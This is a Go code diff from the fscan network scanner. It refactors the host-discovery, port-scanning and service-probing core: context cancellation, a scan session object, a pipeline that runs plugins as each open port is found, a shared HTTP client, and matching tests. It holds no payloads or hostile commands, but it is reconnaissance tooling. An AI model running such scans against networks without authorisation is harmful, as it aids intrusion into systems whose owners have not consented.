if plugin != nil {
|
||||||
|
plugin.Scan(ctx, &target, session)
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
wg.Add(1)
|
wg.Add(1)
|
||||||
ch <- struct{}{} // 获取并发槽位
|
|
||||||
|
// 获取并发槽位,支持取消
|
||||||
|
select {
|
||||||
|
case ch <- struct{}{}:
|
||||||
|
case <-ctx.Done():
|
||||||
|
wg.Done()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
go func() {
|
go func() {
|
||||||
// 开始监控插件任务
|
// 开始监控插件任务
|
||||||
@@ -210,7 +265,7 @@ func executeScanTask(config *common.Config, state *common.State, pluginName stri
|
|||||||
|
|
||||||
plugin := plugins.Get(pluginName)
|
plugin := plugins.Get(pluginName)
|
||||||
if plugin != nil {
|
if plugin != nil {
|
||||||
result := plugin.Scan(context.Background(), &target, config, state)
|
result := plugin.Scan(ctx, &target, session)
|
||||||
if result != nil {
|
if result != nil {
|
||||||
if result.Success {
|
if result.Success {
|
||||||
// 保存成功的扫描结果到文件
|
// 保存成功的扫描结果到文件
|
||||||
@@ -286,9 +341,16 @@ var resultSerializers = map[plugins.ResultType]resultSerializer{
|
|||||||
plugins.ResultTypeWeb: {
|
plugins.ResultTypeWeb: {
|
||||||
outputType: output.TypeService,
|
outputType: output.TypeService,
|
||||||
getStatus: func(_ *plugins.Result, _ *common.HostInfo) string { return "web" },
|
getStatus: func(_ *plugins.Result, _ *common.HostInfo) string { return "web" },
|
||||||
fillDetail: func(_ *plugins.Result, info *common.HostInfo, d map[string]interface{}) {
|
fillDetail: func(r *plugins.Result, info *common.HostInfo, d map[string]interface{}) {
|
||||||
d["is_web"] = true
|
d["is_web"] = true
|
||||||
d["port"] = info.Port
|
d["port"] = info.Port
|
||||||
|
if r.Output == "" {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
d["url"] = r.Output
|
||||||
|
if parsed, err := url.Parse(r.Output); err == nil && (parsed.Scheme == "http" || parsed.Scheme == "https") {
|
||||||
|
d["protocol"] = parsed.Scheme
|
||||||
|
}
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
|
|||||||
+23
-1
@@ -1,11 +1,13 @@
|
|||||||
package core
|
package core
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"context"
|
||||||
"fmt"
|
"fmt"
|
||||||
"sync"
|
"sync"
|
||||||
"testing"
|
"testing"
|
||||||
|
|
||||||
"github.com/shadow1ng/fscan/common"
|
"github.com/shadow1ng/fscan/common"
|
||||||
|
"github.com/shadow1ng/fscan/plugins"
|
||||||
)
|
)
|
||||||
|
|
||||||
/*
|
/*
|
||||||
@@ -34,6 +36,26 @@ scanner_test.go - Scanner核心逻辑测试
|
|||||||
// 核心逻辑测试:策略选择
|
// 核心逻辑测试:策略选择
|
||||||
// =============================================================================
|
// =============================================================================
|
||||||
|
|
||||||
|
func TestWebResultSerializerPreservesDetectedProtocol(t *testing.T) {
|
||||||
|
serializer := resultSerializers[plugins.ResultTypeWeb]
|
||||||
|
details := map[string]interface{}{}
|
||||||
|
result := &plugins.Result{
|
||||||
|
Type: plugins.ResultTypeWeb,
|
||||||
|
Success: true,
|
||||||
|
Output: "https://192.168.1.1:8443",
|
||||||
|
}
|
||||||
|
info := &common.HostInfo{Host: "192.168.1.1", Port: 8443}
|
||||||
|
|
||||||
|
serializer.fillDetail(result, info, details)
|
||||||
|
|
||||||
|
if details["protocol"] != "https" {
|
||||||
|
t.Fatalf("protocol = %v, 期望 https", details["protocol"])
|
||||||
|
}
|
||||||
|
if details["url"] != "https://192.168.1.1:8443" {
|
||||||
|
t.Fatalf("url = %v, 期望检测出的URL", details["url"])
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// TestSelectStrategy 测试策略选择逻辑
|
// TestSelectStrategy 测试策略选择逻辑
|
||||||
func TestSelectStrategy(t *testing.T) {
|
func TestSelectStrategy(t *testing.T) {
|
||||||
// 保存原始配置
|
// 保存原始配置
|
||||||
@@ -214,7 +236,7 @@ type mockStrategy struct {
|
|||||||
applicablePlugins map[string]bool // pluginName -> isApplicable
|
applicablePlugins map[string]bool // pluginName -> isApplicable
|
||||||
}
|
}
|
||||||
|
|
||||||
func (m *mockStrategy) Execute(config *common.Config, state *common.State, info common.HostInfo, ch chan struct{}, wg *sync.WaitGroup) {
|
func (m *mockStrategy) Execute(_ context.Context, session *common.ScanSession, info common.HostInfo, ch chan struct{}, wg *sync.WaitGroup) {
|
||||||
}
|
}
|
||||||
|
|
||||||
func (m *mockStrategy) GetPlugins() ([]string, bool) {
|
func (m *mockStrategy) GetPlugins() ([]string, bool) {
|
||||||
|
|||||||
+52
-21
@@ -1,6 +1,7 @@
|
|||||||
package core
|
package core
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"context"
|
||||||
"errors"
|
"errors"
|
||||||
"fmt"
|
"fmt"
|
||||||
"io"
|
"io"
|
||||||
@@ -15,7 +16,7 @@ import (
|
|||||||
|
|
||||||
// 默认超时时间常量
|
// 默认超时时间常量
|
||||||
const (
|
const (
|
||||||
defaultTotalWaitMS = 6000 // Nmap 默认等待时间
|
defaultTotalWaitMS = 3000 // 服务探测默认等待时间
|
||||||
defaultIntensity = 7 // 默认探测强度 (1-9)
|
defaultIntensity = 7 // 默认探测强度 (1-9)
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -70,13 +71,16 @@ type Service struct {
|
|||||||
|
|
||||||
// Info 定义单个端口探测的上下文信息
|
// Info 定义单个端口探测的上下文信息
|
||||||
type Info struct {
|
type Info struct {
|
||||||
Address string // 目标IP地址
|
Address string // 目标IP地址
|
||||||
Port int // 目标端口
|
Port int // 目标端口
|
||||||
Conn net.Conn // 网络连接
|
Conn net.Conn // 网络连接
|
||||||
Result Result // 探测结果
|
Result Result // 探测结果
|
||||||
Found bool // 是否成功识别服务
|
Found bool // 是否成功识别服务
|
||||||
config *common.Config // 配置引用
|
ctx context.Context // 扫描级 context
|
||||||
readTimeoutMS int // 当前读取超时时间(毫秒)
|
config *common.Config // 配置引用
|
||||||
|
session *common.ScanSession // 会话引用
|
||||||
|
readTimeoutMS int // 当前读取超时时间(毫秒)
|
||||||
|
maxReadTimeoutMS int // RTT 自适应上限(毫秒),0 表示不限制
|
||||||
}
|
}
|
||||||
|
|
||||||
// SmartPortInfoScanner 智能服务识别器:保持nmap准确性,优化网络交互
|
// SmartPortInfoScanner 智能服务识别器:保持nmap准确性,优化网络交互
|
||||||
@@ -86,24 +90,28 @@ type SmartPortInfoScanner struct {
|
|||||||
Conn net.Conn
|
Conn net.Conn
|
||||||
Timeout time.Duration
|
Timeout time.Duration
|
||||||
info *Info
|
info *Info
|
||||||
config *common.Config // 配置引用
|
config *common.Config // 配置引用
|
||||||
|
session *common.ScanSession // 会话引用
|
||||||
}
|
}
|
||||||
|
|
||||||
// 预定义的基础探测器已在PortFinger.go中定义,这里不再重复定义
|
// 预定义的基础探测器已在PortFinger.go中定义,这里不再重复定义
|
||||||
|
|
||||||
// NewSmartPortInfoScanner 创建智能服务识别器
|
// NewSmartPortInfoScanner 创建智能服务识别器
|
||||||
func NewSmartPortInfoScanner(addr string, port int, conn net.Conn, timeout time.Duration, config *common.Config) *SmartPortInfoScanner {
|
func NewSmartPortInfoScanner(ctx context.Context, addr string, port int, conn net.Conn, timeout time.Duration, config *common.Config, session *common.ScanSession) *SmartPortInfoScanner {
|
||||||
return &SmartPortInfoScanner{
|
return &SmartPortInfoScanner{
|
||||||
Address: addr,
|
Address: addr,
|
||||||
Port: port,
|
Port: port,
|
||||||
Conn: conn,
|
Conn: conn,
|
||||||
Timeout: timeout,
|
Timeout: timeout,
|
||||||
config: config,
|
config: config,
|
||||||
|
session: session,
|
||||||
info: &Info{
|
info: &Info{
|
||||||
Address: addr,
|
Address: addr,
|
||||||
Port: port,
|
Port: port,
|
||||||
Conn: conn,
|
Conn: conn,
|
||||||
|
ctx: ctx,
|
||||||
config: config,
|
config: config,
|
||||||
|
session: session,
|
||||||
Result: Result{
|
Result: Result{
|
||||||
Service: Service{},
|
Service: Service{},
|
||||||
},
|
},
|
||||||
@@ -211,9 +219,14 @@ func (s *SmartPortInfoScanner) tryProbeList(probes []*Probe, usedProbes map[stri
|
|||||||
}
|
}
|
||||||
usedProbes[probe.Name] = struct{}{}
|
usedProbes[probe.Name] = struct{}{}
|
||||||
|
|
||||||
probeData, err := DecodeData(probe.Data)
|
// 优先使用预解码数据
|
||||||
if err != nil {
|
probeData := probe.DecodedData
|
||||||
continue
|
if probeData == nil {
|
||||||
|
var err error
|
||||||
|
probeData, err = DecodeData(probe.Data)
|
||||||
|
if err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 使用 TotalWaitMS 设置动态超时
|
// 使用 TotalWaitMS 设置动态超时
|
||||||
@@ -251,7 +264,7 @@ func (s *SmartPortInfoScanner) reconnectIfNeeded() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// 重新建立连接
|
// 重新建立连接
|
||||||
newConn, err := common.WrapperTcpWithTimeout("tcp", fmt.Sprintf("%s:%d", s.Address, s.Port), s.Timeout)
|
newConn, err := s.session.DialTCP(s.info.ctx, "tcp", fmt.Sprintf("%s:%d", s.Address, s.Port), s.Timeout)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@@ -274,8 +287,15 @@ func (s *SmartPortInfoScanner) performSSLSecondStage(serviceInfo *ServiceInfo) *
|
|||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
|
|
||||||
probeData, err := DecodeData(probe.Data)
|
probeData := probe.DecodedData
|
||||||
if err != nil || len(probeData) == 0 {
|
if probeData == nil {
|
||||||
|
var decErr error
|
||||||
|
probeData, decErr = DecodeData(probe.Data)
|
||||||
|
if decErr != nil || len(probeData) == 0 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if len(probeData) == 0 {
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
response := s.info.Connect(probeData)
|
response := s.info.Connect(probeData)
|
||||||
@@ -309,8 +329,15 @@ func (s *SmartPortInfoScanner) tryHTTPSProbe() *ServiceInfo {
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
probeData, err := DecodeData(probe.Data)
|
probeData := probe.DecodedData
|
||||||
if err != nil || len(probeData) == 0 {
|
if probeData == nil {
|
||||||
|
var decErr error
|
||||||
|
probeData, decErr = DecodeData(probe.Data)
|
||||||
|
if decErr != nil || len(probeData) == 0 {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if len(probeData) == 0 {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
response := s.info.Connect(probeData)
|
response := s.info.Connect(probeData)
|
||||||
@@ -481,10 +508,14 @@ func (i *Info) setReadTimeout(ms int) {
|
|||||||
|
|
||||||
// getReadTimeout 获取当前读取超时时间
|
// getReadTimeout 获取当前读取超时时间
|
||||||
func (i *Info) getReadTimeout() time.Duration {
|
func (i *Info) getReadTimeout() time.Duration {
|
||||||
|
ms := defaultReadTimeoutMS
|
||||||
if i.readTimeoutMS > 0 {
|
if i.readTimeoutMS > 0 {
|
||||||
return time.Duration(i.readTimeoutMS) * time.Millisecond
|
ms = i.readTimeoutMS
|
||||||
}
|
}
|
||||||
return time.Duration(defaultReadTimeoutMS) * time.Millisecond
|
if i.maxReadTimeoutMS > 0 && ms > i.maxReadTimeoutMS {
|
||||||
|
ms = i.maxReadTimeoutMS
|
||||||
|
}
|
||||||
|
return time.Duration(ms) * time.Millisecond
|
||||||
}
|
}
|
||||||
|
|
||||||
// WrTimeout 默认读写超时时间(秒)
|
// WrTimeout 默认读写超时时间(秒)
|
||||||
@@ -511,7 +542,7 @@ func (i *Info) Write(msg []byte) error {
|
|||||||
_ = oldConn.Close()
|
_ = oldConn.Close()
|
||||||
|
|
||||||
// 尝试重新连接 - 支持SOCKS5代理
|
// 尝试重新连接 - 支持SOCKS5代理
|
||||||
newConn, retryErr := common.WrapperTcpWithTimeout("tcp", fmt.Sprintf("%s:%d", i.Address, i.Port), time.Duration(6)*time.Second)
|
newConn, retryErr := i.session.DialTCP(i.ctx, "tcp", fmt.Sprintf("%s:%d", i.Address, i.Port), time.Duration(6)*time.Second)
|
||||||
if retryErr != nil {
|
if retryErr != nil {
|
||||||
return retryErr
|
return retryErr
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -13,6 +13,7 @@ service_probe_strategy_test.go - SmartProbeStrategy 策略逻辑测试
|
|||||||
*/
|
*/
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"context"
|
||||||
"testing"
|
"testing"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
@@ -155,7 +156,7 @@ func TestSmartPortInfoScanner_Creation(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// 使用 nil 连接(实际测试中会使用真实连接)
|
// 使用 nil 连接(实际测试中会使用真实连接)
|
||||||
scanner := NewSmartPortInfoScanner("127.0.0.1", 80, nil, 3*time.Second, config)
|
scanner := NewSmartPortInfoScanner(context.Background(), "127.0.0.1", 80, nil, 3*time.Second, config, nil)
|
||||||
|
|
||||||
if scanner == nil {
|
if scanner == nil {
|
||||||
t.Fatal("Scanner 创建失败")
|
t.Fatal("Scanner 创建失败")
|
||||||
@@ -175,8 +176,8 @@ func TestSmartPortInfoScanner_Creation(t *testing.T) {
|
|||||||
// TestDefaultConstants 验证默认常量值
|
// TestDefaultConstants 验证默认常量值
|
||||||
func TestDefaultConstants(t *testing.T) {
|
func TestDefaultConstants(t *testing.T) {
|
||||||
// 验证默认等待时间
|
// 验证默认等待时间
|
||||||
if defaultTotalWaitMS != 6000 {
|
if defaultTotalWaitMS != 3000 {
|
||||||
t.Errorf("defaultTotalWaitMS 应该是 6000,实际是 %d", defaultTotalWaitMS)
|
t.Errorf("defaultTotalWaitMS 应该是 3000,实际是 %d", defaultTotalWaitMS)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 验证默认 intensity
|
// 验证默认 intensity
|
||||||
|
|||||||
+112
-31
@@ -1,6 +1,7 @@
|
|||||||
package core
|
package core
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"context"
|
||||||
"fmt"
|
"fmt"
|
||||||
"strconv"
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
@@ -27,7 +28,7 @@ func NewServiceScanStrategy() *ServiceScanStrategy {
|
|||||||
func (s *ServiceScanStrategy) LogPluginInfo(config *common.Config) {
|
func (s *ServiceScanStrategy) LogPluginInfo(config *common.Config) {
|
||||||
// 需要从命令行参数获取端口信息来进行过滤
|
// 需要从命令行参数获取端口信息来进行过滤
|
||||||
// 如果没有指定端口,使用默认端口进行过滤显示
|
// 如果没有指定端口,使用默认端口进行过滤显示
|
||||||
ports := common.GetFlagVars().Ports
|
ports := config.Target.Ports
|
||||||
if ports == "" || ports == "all" {
|
if ports == "" || ports == "all" {
|
||||||
// 默认端口扫描:显示所有插件
|
// 默认端口扫描:显示所有插件
|
||||||
s.BaseScanStrategy.LogPluginInfo(config)
|
s.BaseScanStrategy.LogPluginInfo(config)
|
||||||
@@ -42,7 +43,7 @@ func (s *ServiceScanStrategy) showPluginsForSpecifiedPorts(config *common.Config
|
|||||||
allPlugins, isCustomMode := s.GetPlugins(config)
|
allPlugins, isCustomMode := s.GetPlugins(config)
|
||||||
|
|
||||||
// 解析端口
|
// 解析端口
|
||||||
ports := s.parsePortList(common.GetFlagVars().Ports)
|
ports := s.parsePortList(config.Target.Ports)
|
||||||
if len(ports) == 0 {
|
if len(ports) == 0 {
|
||||||
s.BaseScanStrategy.LogPluginInfo(config)
|
s.BaseScanStrategy.LogPluginInfo(config)
|
||||||
return
|
return
|
||||||
@@ -112,10 +113,11 @@ func (s *ServiceScanStrategy) Description() string {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Execute 执行服务扫描策略
|
// Execute 执行服务扫描策略
|
||||||
func (s *ServiceScanStrategy) Execute(config *common.Config, state *common.State, info common.HostInfo, ch chan struct{}, wg *sync.WaitGroup) {
|
func (s *ServiceScanStrategy) Execute(ctx context.Context, session *common.ScanSession, info common.HostInfo, ch chan struct{}, wg *sync.WaitGroup) {
|
||||||
|
config := session.Config
|
||||||
|
|
||||||
// 验证扫描目标(需要同时检查 -h 和 -hf 参数)
|
// 验证扫描目标(需要同时检查 -h 和 -hf 参数)
|
||||||
fv := common.GetFlagVars()
|
if info.Host == "" && session.Params.HostsFile == "" {
|
||||||
if info.Host == "" && fv.HostsFile == "" {
|
|
||||||
common.LogError(i18n.GetText("parse_error_target_empty"))
|
common.LogError(i18n.GetText("parse_error_target_empty"))
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@@ -133,28 +135,88 @@ func (s *ServiceScanStrategy) Execute(config *common.Config, state *common.State
|
|||||||
s.LogPluginInfo(config)
|
s.LogPluginInfo(config)
|
||||||
|
|
||||||
// 执行主机扫描流程
|
// 执行主机扫描流程
|
||||||
s.performHostScan(config, state, info, ch, wg)
|
s.performHostScan(ctx, session, info, ch, wg)
|
||||||
}
|
}
|
||||||
|
|
||||||
// performHostScan 执行主机扫描的完整流程
|
// performHostScan 执行主机扫描的完整流程
|
||||||
func (s *ServiceScanStrategy) performHostScan(config *common.Config, state *common.State, info common.HostInfo, ch chan struct{}, wg *sync.WaitGroup) {
|
// pipeline 模式:端口扫描和插件执行并行,扫到开放端口立即开始跑插件
|
||||||
// 发现目标主机和端口
|
func (s *ServiceScanStrategy) performHostScan(ctx context.Context, session *common.ScanSession, info common.HostInfo, ch chan struct{}, wg *sync.WaitGroup) {
|
||||||
targetInfos, err := s.discoverTargets(info.Host, info, config, state)
|
config := session.Config
|
||||||
|
state := session.State
|
||||||
|
|
||||||
|
// 解析目标主机
|
||||||
|
hosts, err := parsers.ParseIP(info.Host, session.Params.HostsFile, session.Params.ExcludeHosts)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
common.LogError(err.Error())
|
common.LogError(fmt.Sprintf("%s: %v", i18n.GetText("parse_target_failed"), err))
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
// 执行漏洞扫描
|
// 主机存活检测
|
||||||
if len(targetInfos) > 0 {
|
if s.shouldPerformLivenessCheck(hosts, config) {
|
||||||
ExecuteScanTasks(config, state, targetInfos, s, ch, wg)
|
hosts = CheckLive(ctx, hosts, false, session)
|
||||||
|
common.LogInfo(i18n.Tr("alive_hosts_count_info", len(hosts)))
|
||||||
|
}
|
||||||
|
|
||||||
|
if len(hosts) == 0 && len(state.GetHostPorts()) == 0 {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 流式 channel:端口扫描发现开放端口后立即通知插件执行
|
||||||
|
stream := make(chan string, 64)
|
||||||
|
|
||||||
|
// 启动端口扫描 goroutine
|
||||||
|
go func() {
|
||||||
|
if len(hosts) > 0 {
|
||||||
|
EnhancedPortScan(ctx, hosts, config.Target.Ports, int64(config.Timeout.Seconds()), session, stream)
|
||||||
|
} else {
|
||||||
|
close(stream)
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
// pipeline 消费:边收开放端口边执行插件
|
||||||
|
pluginsToRun, isCustomMode := s.GetPlugins(config)
|
||||||
|
cancelled := false
|
||||||
|
for addr := range stream {
|
||||||
|
if cancelled {
|
||||||
|
continue // ctx 已取消,排空 stream 防止写端阻塞
|
||||||
|
}
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
cancelled = true
|
||||||
|
continue
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
|
||||||
|
infos := s.convertToTargetInfos([]string{addr}, info)
|
||||||
|
for _, target := range infos {
|
||||||
|
for _, pluginName := range pluginsToRun {
|
||||||
|
if s.IsPluginApplicableByName(pluginName, target.Host, target.Port, isCustomMode, config) {
|
||||||
|
executeScanTask(ctx, session, pluginName, target, ch, wg)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 合并预设的 host:port
|
||||||
|
hostPorts := state.GetHostPorts()
|
||||||
|
if len(hostPorts) > 0 {
|
||||||
|
merged := mergeHostPorts(nil, hostPorts)
|
||||||
|
targets := s.convertToTargetInfos(merged, info)
|
||||||
|
for _, target := range targets {
|
||||||
|
for _, pluginName := range pluginsToRun {
|
||||||
|
if s.IsPluginApplicableByName(pluginName, target.Host, target.Port, isCustomMode, config) {
|
||||||
|
executeScanTask(ctx, session, pluginName, target, ch, wg)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
state.ClearHostPorts()
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// PrepareTargets 准备目标信息
|
// PrepareTargets 准备目标信息
|
||||||
func (s *ServiceScanStrategy) PrepareTargets(info common.HostInfo, config *common.Config, state *common.State) []common.HostInfo {
|
func (s *ServiceScanStrategy) PrepareTargets(info common.HostInfo, session *common.ScanSession) []common.HostInfo {
|
||||||
// 发现目标主机和端口
|
// 发现目标主机和端口
|
||||||
targetInfos, err := s.discoverTargets(info.Host, info, config, state)
|
targetInfos, err := s.discoverTargets(context.Background(), info.Host, info, session)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
common.LogError(err.Error())
|
common.LogError(err.Error())
|
||||||
return nil
|
return nil
|
||||||
@@ -213,10 +275,11 @@ func (s *ServiceScanStrategy) LogVulnerabilityPluginInfo(targets []common.HostIn
|
|||||||
// =============================================================================
|
// =============================================================================
|
||||||
|
|
||||||
// discoverTargets 发现目标主机和端口
|
// discoverTargets 发现目标主机和端口
|
||||||
func (s *ServiceScanStrategy) discoverTargets(hostInput string, baseInfo common.HostInfo, config *common.Config, state *common.State) ([]common.HostInfo, error) {
|
func (s *ServiceScanStrategy) discoverTargets(ctx context.Context, hostInput string, baseInfo common.HostInfo, session *common.ScanSession) ([]common.HostInfo, error) {
|
||||||
|
config := session.Config
|
||||||
|
state := session.State
|
||||||
// 标准流程:解析目标主机
|
// 标准流程:解析目标主机
|
||||||
fv := common.GetFlagVars()
|
hosts, err := parsers.ParseIP(hostInput, session.Params.HostsFile, session.Params.ExcludeHosts)
|
||||||
hosts, err := parsers.ParseIP(hostInput, fv.HostsFile, fv.ExcludeHosts)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("%s: %w", i18n.GetText("parse_target_failed"), err)
|
return nil, fmt.Errorf("%s: %w", i18n.GetText("parse_target_failed"), err)
|
||||||
}
|
}
|
||||||
@@ -227,12 +290,12 @@ func (s *ServiceScanStrategy) discoverTargets(hostInput string, baseInfo common.
|
|||||||
if len(hosts) > 0 || len(state.GetHostPorts()) > 0 {
|
if len(hosts) > 0 || len(state.GetHostPorts()) > 0 {
|
||||||
// 主机存活检测
|
// 主机存活检测
|
||||||
if s.shouldPerformLivenessCheck(hosts, config) {
|
if s.shouldPerformLivenessCheck(hosts, config) {
|
||||||
hosts = CheckLive(hosts, false, config, state)
|
hosts = CheckLive(ctx, hosts, false, session)
|
||||||
common.LogInfo(i18n.Tr("alive_hosts_count_info", len(hosts)))
|
common.LogInfo(i18n.Tr("alive_hosts_count_info", len(hosts)))
|
||||||
}
|
}
|
||||||
|
|
||||||
// 端口扫描
|
// 端口扫描
|
||||||
alivePorts := s.discoverAlivePorts(hosts, config, state)
|
alivePorts := s.discoverAlivePorts(ctx, hosts, session)
|
||||||
if len(alivePorts) > 0 {
|
if len(alivePorts) > 0 {
|
||||||
targetInfos = s.convertToTargetInfos(alivePorts, baseInfo)
|
targetInfos = s.convertToTargetInfos(alivePorts, baseInfo)
|
||||||
}
|
}
|
||||||
@@ -247,26 +310,44 @@ func (s *ServiceScanStrategy) shouldPerformLivenessCheck(hosts []string, config
|
|||||||
}
|
}
|
||||||
|
|
||||||
// discoverAlivePorts 发现存活的端口
|
// discoverAlivePorts 发现存活的端口
|
||||||
func (s *ServiceScanStrategy) discoverAlivePorts(hosts []string, config *common.Config, state *common.State) []string {
|
// 执行正常端口扫描后,合并预设的 host:port(来自项目缓存或 CLI),确保不遗漏
|
||||||
|
func (s *ServiceScanStrategy) discoverAlivePorts(ctx context.Context, hosts []string, session *common.ScanSession) []string {
|
||||||
|
config := session.Config
|
||||||
|
state := session.State
|
||||||
var alivePorts []string
|
var alivePorts []string
|
||||||
|
|
||||||
// 如果已经有明确指定的host:port,直接使用(让后续SmartIdentify统一验证和识别)
|
// 正常端口扫描
|
||||||
hostPorts := state.GetHostPorts()
|
if len(hosts) > 0 {
|
||||||
if len(hostPorts) > 0 {
|
alivePorts = EnhancedPortScan(ctx, hosts, config.Target.Ports, int64(config.Timeout.Seconds()), session, nil)
|
||||||
alivePorts = hostPorts
|
|
||||||
common.LogInfo(i18n.Tr("alive_ports_count", len(alivePorts)))
|
|
||||||
state.ClearHostPorts()
|
|
||||||
return alivePorts
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// 根据扫描模式选择端口扫描方式
|
// 合并预设的 host:port(项目缓存 / CLI 注入)
|
||||||
if len(hosts) > 0 {
|
hostPorts := state.GetHostPorts()
|
||||||
alivePorts = EnhancedPortScan(hosts, config.Target.Ports, int64(config.Timeout.Seconds()), config, state)
|
if len(hostPorts) > 0 {
|
||||||
|
alivePorts = mergeHostPorts(alivePorts, hostPorts)
|
||||||
|
common.LogInfo(i18n.Tr("alive_ports_count", len(alivePorts)))
|
||||||
|
state.ClearHostPorts()
|
||||||
}
|
}
|
||||||
|
|
||||||
return alivePorts
|
return alivePorts
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// mergeHostPorts 合并两个 host:port 列表并去重
|
||||||
|
func mergeHostPorts(a, b []string) []string {
|
||||||
|
seen := make(map[string]struct{}, len(a)+len(b))
|
||||||
|
for _, s := range a {
|
||||||
|
seen[s] = struct{}{}
|
||||||
|
}
|
||||||
|
for _, s := range b {
|
||||||
|
seen[s] = struct{}{}
|
||||||
|
}
|
||||||
|
result := make([]string, 0, len(seen))
|
||||||
|
for s := range seen {
|
||||||
|
result = append(result, s)
|
||||||
|
}
|
||||||
|
return result
|
||||||
|
}
|
||||||
|
|
||||||
// convertToTargetInfos 将端口列表转换为目标信息
|
// convertToTargetInfos 将端口列表转换为目标信息
|
||||||
func (s *ServiceScanStrategy) convertToTargetInfos(ports []string, baseInfo common.HostInfo) []common.HostInfo {
|
func (s *ServiceScanStrategy) convertToTargetInfos(ports []string, baseInfo common.HostInfo) []common.HostInfo {
|
||||||
var infos []common.HostInfo
|
var infos []common.HostInfo
|
||||||
|
|||||||
+32
-44
@@ -1,6 +1,7 @@
|
|||||||
package core
|
package core
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"context"
|
||||||
"crypto/tls"
|
"crypto/tls"
|
||||||
"fmt"
|
"fmt"
|
||||||
"net"
|
"net"
|
||||||
@@ -18,6 +19,25 @@ import (
|
|||||||
// Web服务检测
|
// Web服务检测
|
||||||
// ===============================
|
// ===============================
|
||||||
|
|
||||||
|
// 全局共享 HTTP Client,复用连接池减少 TLS 握手和 TCP 建连开销
|
||||||
|
var (
|
||||||
|
sharedHTTPClientOnce sync.Once
|
||||||
|
sharedHTTPClient *http.Client
|
||||||
|
)
|
||||||
|
|
||||||
|
func getSharedHTTPClient(config *common.Config) *http.Client {
|
||||||
|
sharedHTTPClientOnce.Do(func() {
|
||||||
|
sharedHTTPClient = createHTTPClient(config)
|
||||||
|
// 启用 keep-alive 复用连接
|
||||||
|
if t, ok := sharedHTTPClient.Transport.(*http.Transport); ok {
|
||||||
|
t.DisableKeepAlives = false
|
||||||
|
t.MaxIdleConns = 100
|
||||||
|
t.MaxIdleConnsPerHost = 2
|
||||||
|
}
|
||||||
|
})
|
||||||
|
return sharedHTTPClient
|
||||||
|
}
|
||||||
|
|
||||||
// WebPortDetector 简化的Web检测器 - 保持API兼容
|
// WebPortDetector 简化的Web检测器 - 保持API兼容
|
||||||
type WebPortDetector struct{}
|
type WebPortDetector struct{}
|
||||||
|
|
||||||
@@ -29,9 +49,9 @@ func GetWebPortDetector() *WebPortDetector {
|
|||||||
// DetectHTTPScheme 智能检测HTTP/HTTPS协议
|
// DetectHTTPScheme 智能检测HTTP/HTTPS协议
|
||||||
// 策略:TLS握手优先(快速且准确),失败后尝试HTTP
|
// 策略:TLS握手优先(快速且准确),失败后尝试HTTP
|
||||||
// 返回: "https", "http", 或 "" (都不是Web服务)
|
// 返回: "https", "http", 或 "" (都不是Web服务)
|
||||||
func DetectHTTPScheme(host string, port int, config *common.Config) string {
|
func DetectHTTPScheme(host string, port int, config *common.Config, session *common.ScanSession) string {
|
||||||
// 优化:先快速检测 TCP 连通性
|
// 优化:先快速检测 TCP 连通性
|
||||||
if !isPortReachable(host, port, config) {
|
if !isPortReachable(host, port, config, session) {
|
||||||
return ""
|
return ""
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -58,15 +78,7 @@ func DetectHTTPScheme(host string, port int, config *common.Config) string {
|
|||||||
// TLS握手失败,记录原因
|
// TLS握手失败,记录原因
|
||||||
|
|
||||||
// 第二步:尝试HTTP请求(回退检测HTTP)
|
// 第二步:尝试HTTP请求(回退检测HTTP)
|
||||||
client := &http.Client{
|
client := getSharedHTTPClient(config)
|
||||||
Timeout: timeout,
|
|
||||||
Transport: &http.Transport{
|
|
||||||
DisableKeepAlives: true,
|
|
||||||
},
|
|
||||||
CheckRedirect: func(req *http.Request, via []*http.Request) error {
|
|
||||||
return http.ErrUseLastResponse // 不跟随重定向
|
|
||||||
},
|
|
||||||
}
|
|
||||||
|
|
||||||
// 使用HEAD请求(更轻量)
|
